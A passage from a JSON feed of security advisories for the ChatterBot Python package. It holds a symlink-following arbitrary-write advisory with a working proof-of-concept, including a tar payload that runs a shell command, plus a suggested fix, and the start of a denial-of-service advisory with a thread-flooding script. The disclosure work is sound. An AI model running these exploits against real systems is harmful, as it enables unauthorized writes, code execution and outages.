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Symlink-Following Arbitrary Write via UbuntuCorpusTrainer","description":"## Summary\n\nChatterBot's `UbuntuCorpusTrainer.extract()` uses a predictable, home-rooted output directory (`~/ubuntu_data/ubuntu_dialogs`) with a check-then-create pattern (`if not os.path.exists: os.makedirs`) followed by `tar.extractall(path=self.data_path)`. A local attacker who pre-plants a symlink at the predictable path causes `os.path.exists()` to return True (following the symlink), skipping `makedirs`, and subsequent `extractall` writes archive contents through the symlink to the attacker-chosen directory.\n\nThe existing `safe_extract` function validates tar **member names** (zip-slip defense) but does not validate the **output directory** itself — it cannot detect that `self.data_path` is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.\n\n## Vulnerability Details\n\n### Predictable output directory (line 535-546)\n\n```python\nhome_directory = os.path.expanduser('~')\nself.data_directory = kwargs.get(\n    'ubuntu_corpus_data_directory',\n    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable\n)\nself.data_path = os.path.join(\n    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs\n)\n```\n\n### Check-then-create (line 621-622)\n\n```python\ndef extract(self, file_path: str):\n    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs\n        os.makedirs(self.data_path)          # ← never reached if symlink exists\n```\n\n### Extraction through symlink (line 633-644)\n\n```python\ndef safe_extract(tar, path='.', members=None, *, numeric_owner=False):\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not is_within_directory(path, member_path):    # ← validates MEMBER names only\n            raise Exception('Attempted Path Traversal in Tar File')\n    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target\n\nsafe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir\n```\n\n`safe_extract` calls `os.path.abspath(directory)` on `self.data_path` — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass `is_within_directory` because they're relative to the resolved (attacker-controlled) base.\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| chatterbot | 1.2.13 (pip install) |\n| Python | 3.11.0 |\n\n### Exploit\n\n```python\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom unittest.mock import patch\n\nfrom chatterbot.trainers import UbuntuCorpusTrainer\n\nATTACKER_TARGET = Path(tempfile.mkdtemp(prefix=\"pwned_\"))\n\n\ndef main():\n    test_base = Path(tempfile.mkdtemp(prefix=\"cb_exploit_\"))\n    data_dir = test_base / \"ubuntu_data\"\n    data_path = data_dir / \"ubuntu_dialogs\"\n    data_dir.mkdir(parents=True, exist_ok=True)\n    os.symlink(str(ATTACKER_TARGET), str(data_path))\n    print(f\"[1] Symlink planted: {data_path} -\u003e {ATTACKER_TARGET}\")\n    exists_check = os.path.exists(data_path)\n    print(f\"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)\")\n    import tarfile\n    import io\n    tar_path = test_base / \"corpus.tar.gz\"\n    with tarfile.open(str(tar_path), \"w:gz\") as tf:\n        info = tarfile.TarInfo(name=\"dialog_001.tsv\")\n        payload = b\"2024-01-01\\tuser1\\t0\\tARBITRARY_CONTENT_VIA_SYMLINK\\n\"\n        info.size = len(payload)\n        tf.addfile(info, io.BytesIO(payload))\n\n        info2 = tarfile.TarInfo(name=\"config.py\")\n        rce = b\"import os; os.system('id \u003e /tmp/chatterbot_rce')\\n\"\n        info2.size = len(rce)\n        tf.addfile(info2, io.BytesIO(rce))\n    if not os.path.exists(data_path):\n        os.makedirs(data_path)\n    def is_within_directory(directory, target):\n        abs_directory = os.path.abspath(directory)\n        abs_target = os.path.abspath(target)\n        prefix = os.path.commonprefix([abs_directory, abs_target])\n        return prefix == abs_directory\n\n    with tarfile.open(str(tar_path), \"r:gz\") as tar:\n        for member in tar.getmembers():\n            member_path = os.path.join(str(data_path), member.name)\n            if not is_within_directory(str(data_path), member_path):\n                raise Exception(\"Attempted Path Traversal in Tar File\")\n        tar.extractall(str(data_path))\n\n    print(f\"[3] extractall(data_path) — data_path is symlink, writes to target\")\n\n    # Verify\n    files = list(ATTACKER_TARGET.iterdir())\n    if files:\n        print(f\"\\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:\")\n        for f in sorted(files):\n            print(f\"    {f.name}: {f.read_text().strip()[:60]}\")\n    else:\n        print(\"[-] Failed\")\n        shutil.rmtree(str(test_base), ignore_errors=True)\n        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)\n        sys.exit(1)\n\n    shutil.rmtree(str(test_base), ignore_errors=True)\n    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)\n    sys.exit(0)\n\n\nif __name__ == \"__main__\":\n    print(f\"chatterbot installed: {UbuntuCorpusTrainer.__module__}\")\n    print(f\"Attacker target: {ATTACKER_TARGET}\")\n    print()\n    main()\n\n```\n\n### PoC output \n\n\u003cimg width=\"1748\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/55a3fee5-0d3b-46d7-8e79-75aad34b322c\" /\u003e\n\n## Suggested Fix\n\nRefuse symlinks on the output directory before extraction:\n\n```python\ndef extract(self, file_path: str):\n    if os.path.islink(self.data_path):\n        raise self.TrainerInitializationException(\n            f'Refusing to extract to symlink: {self.data_path}')\n    if not os.path.exists(self.data_path):\n        os.makedirs(self.data_path)\n    ...\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-19T22:08:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/gunthercox/ChatterBot/security/advisories/GHSA-wvrh-2f4m-924v","https://github.com/advisories/GHSA-wvrh-2f4m-924v"],"source_kind":"github","identifiers":["GHSA-wvrh-2f4m-924v"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-19T23:00:08.047Z","updated_at":"2026-08-29T17:01:19.455Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dnJoLTJmNG0tOTI0ds4ABZNM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13dnJoLTJmNG0tOTI0ds4ABZNM","packages":[{"ecosystem":"pypi","package_name":"ChatterBot","versions":[{"first_patched_version":"1.2.14","vulnerable_version_range":"\u003c= 1.2.13"}],"purl":"pkg:pypi/chatterbot"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dnJoLTJmNG0tOTI0ds4ABZNM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12NHc4LTQ5cHYtbWY3Ms4ABRSl","url":"https://github.com/advisories/GHSA-v4w8-49pv-mf72","title":"ChatterBot Vulnerable to Denial of Service via Database Connection Pool Exhaustion","description":"### Summary\nChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.\n\n### Details\nChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.\n\nWhen multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.\n\nThis issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.\n\nPoC Video: \nhttps://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f\n\n### PoC\n1. Install ChatterBot version 1.2.10.\n2. Use the default database configuration (SQLite / SQLAlchemy).\n3. Run the following Python script to invoke concurrent requests:\n\nfrom chatterbot import ChatBot\nimport threading\n\nbot = ChatBot(\"dos-test\")\n\ndef attack():\n    bot.get_response(\"hello\")\n\nthreads = []\nfor _ in range(30):\n    t = threading.Thread(target=attack)\n    t.start()\n    threads.append(t)\n\nfor t in threads:\n    t.join()\n\n4. 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